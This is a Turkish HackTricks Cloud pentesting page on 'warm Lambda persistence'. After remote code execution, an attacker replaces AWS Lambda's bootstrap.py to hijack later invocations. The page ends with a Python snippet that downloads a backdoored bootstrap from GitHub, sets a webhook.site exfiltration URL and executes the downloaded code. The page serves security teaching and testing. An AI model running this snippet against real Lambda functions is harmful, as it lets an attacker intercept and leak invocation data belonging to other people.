Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

4.4 KiB
Raw Blame History

AWS - Lambda İsteklerini Çal

{{#include ../../../../banners/hacktricks-training.md}}

Lambda Akışı

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer, invocation'ları init sürecine gönderen konteyner dışındaki bir süreçtir.
  2. Init süreci, bazı ilginç uç noktalarıığa çıkaran 9001 portunu dinler:
  • /2018-06-01/runtime/invocation/next bir sonraki invocation olayını al
  • /2018-06-01/runtime/invocation/{invoke-id}/response invoke için handler yanıtını döndür
  • /2018-06-01/runtime/invocation/{invoke-id}/error bir yürütme hatası döndür
  1. bootstrap.py, init sürecinden invocation'ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (/next).
  2. Son olarak, bootstrap.py init'e yanıtı gönderir.

Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.

Lambda İsteklerini Çalmak

Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen bootstrap.py süreci içinde kötü niyetli bir bootstrap.py süreci çalıştırmasını sağlamaktır. Bu şekilde, kötü niyetli bootstrap süreci, istekleri işlemek için init süreciyle iletişim kurmaya başlayacakken, meşru bootstrap, kötü niyetli olanı çalıştırarak tuzağa düşürülmüş olacaktır, böylece init sürecine istek sormayacaktır.

Bu, kullanıcı kodunun meşru bootstrap.py süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:

  • Mevcut invocation'ın sahte bir sonucunu init sürecine gönderebilir, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
  • /${invoke-id}/response adresine bir istek gönderilmelidir.
  • Invoke-id, meşru bootstrap.py sürecinin yığınından inspect python modülünü kullanarak elde edilebilir (burada önerildiği gibi) veya sadece tekrar /2018-06-01/runtime/invocation/next adresine istekte bulunarak elde edilebilir (burada önerildiği gibi).
  • Bir sonraki invocation'ları yönetecek kötü niyetli bir boostrap.py çalıştırın.
  • Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
  • Bu saldırı için, bootstrap.py'nin orijinal kodunu sistemden veya github üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation'ından çalıştırmak yeterlidir.

Saldırı Adımları

  1. Bir RCEığı bulun.
  2. Kötü niyetli bir bootstrap oluşturun (örneğin, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py).
  3. Kötü niyetli bootstrap'ı çalıştırın.

Bu eylemleri kolayca gerçekleştirebilirsiniz:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Daha fazla bilgi için kontrol edin https://github.com/carlospolop/lambda_bootstrap_switcher

Referanslar

{{#include ../../../../banners/hacktricks-training.md}}